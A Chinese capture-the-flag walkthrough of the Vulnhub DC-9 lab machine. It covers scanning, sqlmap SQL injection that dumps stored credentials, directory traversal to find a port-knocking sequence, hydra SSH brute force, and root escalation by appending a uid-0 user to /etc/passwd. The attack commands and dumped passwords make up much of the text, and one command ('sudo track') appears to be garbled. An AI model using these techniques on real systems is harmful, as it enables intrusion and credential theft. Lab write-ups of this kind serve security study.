Vulnhub-DC-9靶机-SQL注入拿到账户+利用端口敲门连接ssh+信息泄露利用root脚本追加提权
一、环境搭建
选择扫描虚拟机

选择靶机路径

如果出现以下信息

如下修改,修改和虚拟机一样的版本

二、信息收集
扫ip
nmap -sn 192.168.108.0/24
得到靶机ip:192.168.108.143

扫开放端口
nmap -p 1-65535 192.168.108.143
只开放了两个端口

信息如下
22/tcp filtered ssh #filtered是“过滤的”,意味着网络防火墙或其他安全设备正在阻止对该端口的访问,或者没有响应
80/tcp open http
扫版本服务信息
nmap -sV 192.168.108.143
得到以下信息

信息如下
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian)) #web的Apache服务版本
指纹探测
执行以下命令
nmap 192.168.108.143 -p 22,80 -sV -sC -O --version-all

可用信息:
运行系统:linux 3.x|4.x
操作系统CPE:cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
操作系统内核:linux 3.2-4.9
目录扫描
先用dirsaerch扫描

看看dirb扫描

整理一下可用信息
http://192.168.108.143/config.php //配置文件
http://192.168.108.143/display.php //副页面
http://192.168.108.143/includes
http://192.168.108.143/logout.php //登出界面
http://192.168.108.143/manage.php //管理界面-登录框
http://192.168.108.143/search.php //搜索界面
http://192.168.108.143/index.php //主界面
三、Web渗透
看看80端口,是如下一个界面

访问这几个页面以及上面扫描出来的目录,只有search和manage界面有可用信息,在manage界面存在一个登录框,尝试弱口令和万能密码无果

只能在search界面试试,这里搜索需要使用第二个界面的内容

当我们搜索Tom时,会出现一下信息,应该是调用了数据库信息然后给我们的回显,那么可能存在SQL注入

SQL注入
当我们输入Tom' or '1'='1时,存在sql注入

抓包看看,得到search参数

创建一个DC9.txt,将数据包内容输入进去,然后利用sqlmap跑出数据库
sqlmap -r DC9.txt --dbs
得到3个数据库

这里先看看Staff数据库,拿到两个数据表

看看Users表中的列

看看数据表内容
sqlmap -r DC9.txt -D Staff -T Users --dump
拿到一个管理员账号密码
password 'transorbital1' for user 'admin'

拿到的数据库
数据库:information_schema,Staff,users
看看users库

看看该表的列

看看表中数据
sqlmap -r DC9.txt -D users -T UserDetails --dump

将用户名和密码单独列出来
sqlmap -r DC9.txt -D users -T UserDetails -C username --dump
sqlmap -r DC9.txt -D users -T UserDetails -C password --dump
用户名
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
密码
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
登录后台
成功登录进去,但是在此处发现一个文件不存在,可能存在文件包含

试试目录遍历,拿到了很多用户名信息

端口敲门服务
参考文章:https://www.cnblogs.com/wsjhk/p/5508051.html
随便拿一个上面爆破出的账号密码登录一下,发现22端口无法正常使用

这里需要了解一个知识点,端口敲门服务
端口敲门(Port Knocking)是一种安全机制,用于在防火墙上动态地打开特定端口,以便允许特定的网络流量通过。这种技术通常用于增强服务器的安全性,特别是在需要远程访问(如 SSH)时。
看看其配置文件,得到敲门序列:sequence = 7469,8475,9842

这里有几种方法,比如使用nc工具一个一个连接,或者下载knock工具,对获取的端口(开门密码)实现碰撞,必须按照序列进行连接
apt install knock
knock 192.168.108.143 7469 8475 9842
然后看看端口开放状态,成功开启端口

ssh爆破
这里需要使用hydra工具
Hydra 是一个非常流行的开源密码破解工具,广泛用于进行暴力破解和字典攻击。它支持多种协议和服务,包括 HTTP, FTP, SSH, Telnet, SMTP, POP3, IMAP 等等。Hydra 的灵活性和强大的功能使其成为渗透测试和安全评估中的重要工具
kali通常是预装的,准备一个用户名表和密码表

利用hydra进行爆破
hydra -L user.txt -P passwd.txt ssh://192.168.108.143
拿到以下信息
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
四、提权
ssh登录寻找信息
chandlerb
没有什么可用信息

joeyt
也是没什么有用信息

janitor
发现一个目录,里面有一个密码文件

放到原先的密码表,再使用hydra爆破一处,拿到一个新账户
login: fredf password: B4-Tru3-001
利用新账户登录
发现一个无需root权限可用使用的文件,/opt/devstuff/dist/test

执行该文件,发现如下信息

在/opt/devstuff目录下发现test.py

查看该文件

#!/usr/bin/python
import sys
if len (sys.argv) != 3 : #检查命令行参数数量
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") #将第一个参数可读
output = (f.read())
f = open(sys.argv[2], "a") #将第一个参数的内容追加到第二个参数
f.write(output)
f.close()
这里举个例子,如果我们执行 ./test.py 1.txt 2.txt,那么程序会把1.txt的内容追加到2.txt,因为这个脚本是以root权限运行的,所以我们可以利用它追加账户密码到/etc/passwd中
追加账户密码提权
先使用openssl生成一个密码

然后将密码写入一个文件
track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash
echo "track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash" > /tmp/a.txt
将文件写入/etc/passwd
sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd
然后登录即可
sudo track
密码:track

浙公网安备 33010602011771号